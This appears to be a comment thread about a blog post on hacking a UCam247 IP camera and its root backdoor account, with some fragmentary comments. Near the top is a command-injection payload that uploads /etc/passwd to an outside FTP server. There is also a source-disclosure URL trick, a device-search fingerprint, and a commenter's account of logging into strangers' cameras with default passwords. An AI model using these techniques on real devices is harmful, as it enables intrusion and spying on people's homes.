How I hacked my IP camera, and found this backdoor account
jumpespjump.blogspot.com
jumpespjump.blogspot.com
http://127.0.0.1" |sh -c "curl -u user:pass --upload-file /etc/passwd ftp://myserver.com//tmp/ 2>&1
Which gets you this: /etc/passwd – root:$1$rnjbbPTD$tR9oAIWgUp/jRrhjDuUwp0:0:0:root:/root:/bin/sh
I haven't been able to crack the password though yet so I'm guessing it's somewhat secure. The good news is that you can only enable telnet via the config file backup/restore system (and it's disabled by default): [telnetd]
ENABLE=disable
PORT=60628
The other neat thing about the UCam247 cameras is that they also run the GoAhead Embedded Web Server (which has some fun vulnerabilities, http://www.cvedetails.com/vulnerability-list/vendor_id-1641/...). My favourite thing to do with this webserver is to append a backslash to the end of a URL, e.g. http://192.168.1.2/en/main.asp%5C - the webserver will simply return back the source code for the page instead of interpreting it.Think about that. Somewhere, there's a server farm behind this cheap device. Who's paying for that? The manufacturer? The PLA? It's like when Microsoft bought Skype and made all the video go through Microsoft's servers. There's no benefit to Microsoft in that, but someone wanted access to that video.
Backdoors like these (when intentional) are for when the device is not functioning as it should, or the user messed up the device, and now it needs to be repaired by someone.
I'm not defending this practice by any means, as it's a perfect example of why not to do this, but the root user was more likely intended for system maintenance rather than remote viewing of a functioning system.
Also, you misunderstand the server component. It's most likely just a name-resolution service that allows the device to phone home to allow connections back through your firewall/router.
If they were sucking up all your video data, the latency would be huge, the costs would be exponential for the manufacturer, and it would be a huge point of failure.
It's common, very very common. Look at this Defcon video: http://youtu.be/h5PRvBpLuJs
>GoAhead 5ccc069c403ebaf9f0171e9517f40e41
yields 132,000 devices.
Testing about 100 hosts with admin:123456 gave me 3 working cams. Not all found devices are cams though. Some allow login with admin:admin and are routers.
I love this stuff.
Backdoor? This is way too obvious for a backdoor. If I wanted a backdoor in my IP camera product, I'd modify the source of a tool I have to (cross-)compile anyway. Say I have to compile my own kernel for this device already, I could add some port knocking which then throws back a live stream upon the last knock. Or if I have to compile the webserver software, I would add it in there. All but impossible to come across if you're not looking for it - and even if someone were, it would be beyond most people's skills.
An additional open port, especially with a password like that, is way too obvious to be a serious back door. Even if you go for the theory that they made this backdoor to make it not look like a backdoor, it doesn't make sense: the device is probably going to be behind NAT, better to put a hidden URL or something on the already-reachable webserver port.
The devil you know and all that.
I just discovered that AstroBox runs their web service as root!
It only activates when you are not home, which it can tell if you install its app on your cell phone.
I haven't looked for back doors but they are in Australia and they seem not very sketchy at all.
2. They "seem not very sketchy"
3. ∴ device is secure.
Logic checks out.
And, Homeboy has a bug bounty program for people who uncover and report security problems, so, there's that.
So, that's what I mean. Did that clear it up for you xg15?
So if the author really cares about the company (or the implied company), this image does not help his case.
EDIT: Oh, neither do the comments on the article page.